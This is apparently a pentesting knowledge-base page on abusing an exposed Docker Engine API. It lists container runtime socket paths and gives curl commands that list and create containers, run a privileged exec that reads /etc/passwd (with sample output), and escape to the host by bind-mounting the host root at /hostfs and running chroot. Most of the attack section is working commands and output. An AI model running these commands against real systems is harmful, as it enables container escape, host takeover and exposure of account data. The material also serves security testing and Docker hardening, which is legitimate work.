The Docker daemon can listen for Docker Engine API requests via three different types of socket:
unix
tcp
fd
By default, Docker runs through a non-networked UNIX socket, which is created at /var/run/docker.sock
and requires either root permission or docker group membership.
{% hint style="info" %} Additionally, pay attention to the runtime sockets of other high-level runtimes:
- dockershim:
unix:///var/run/dockershim.sock
- containerd:
unix:///run/containerd/containerd.sock
- cri-o:
unix:///var/run/crio/crio.sock
- frakti:
unix:///var/run/frakti.sock
- rktlet:
unix:///var/run/rktlet.sock
- ... {% endhint %}
A tcp
socket is used to remotely access the Docker daemon, for which the default setup provides un-encrypted and un-authenticated direct access. It is conventional to use port 2375 for un-encrypted, and port 2376 for encrypted communication with the daemon.
On Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket fd://
.
Sometimes the Docker daemon can be accessed inside the container or over the network. It is often leads to commands execution on the host system and escape from the container.
curl
command to list all containers on the host over unix
socket.
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
curl
command to list all containers on the host over tcp
socket.
$ curl -s http://<host>:<port>/containers/json
curl
command to create container over unix
socket.
$ export CONTAINER_NAME=test-container
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
curl
command to create container over tcp
socket.
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
-X POST \
-H "Content-Type: application/json"
First you need to create an instance of exec
that will run in the container.
$ curl \
-s \
"http://<host>:<port>/containers/<container_id>/exec" \
-X POST \
-H "Content-Type: application/json" \
-d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
HTTP/1.1 201 Created
...
{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
Now that exec
has been created, you need to run it.
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
-s \
"http://<host>:<port>/exec/${EXEC_ID}/start"
-X POST \
-H "Content-Type: application/json" \
-d '{"Detach": false,"Tty": false}' \
HTTP/1.1 200 OK
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
To execute commands on the host system, start the Docker container and mount the host root directory on the container volume.
-
Download ubuntu image.
$ curl \ -s \ "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \ -X POST \ -H 'Content-Type: application/json'
-
Create a container.
$ curl \ -s \ "http://<host>:<port>/containers/create" -X POST \ -H "Content-Type: application/json" \ -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
-
Start the container.
-
In order to execute commands on the host system, change the root directory.
$ chroot /hostfs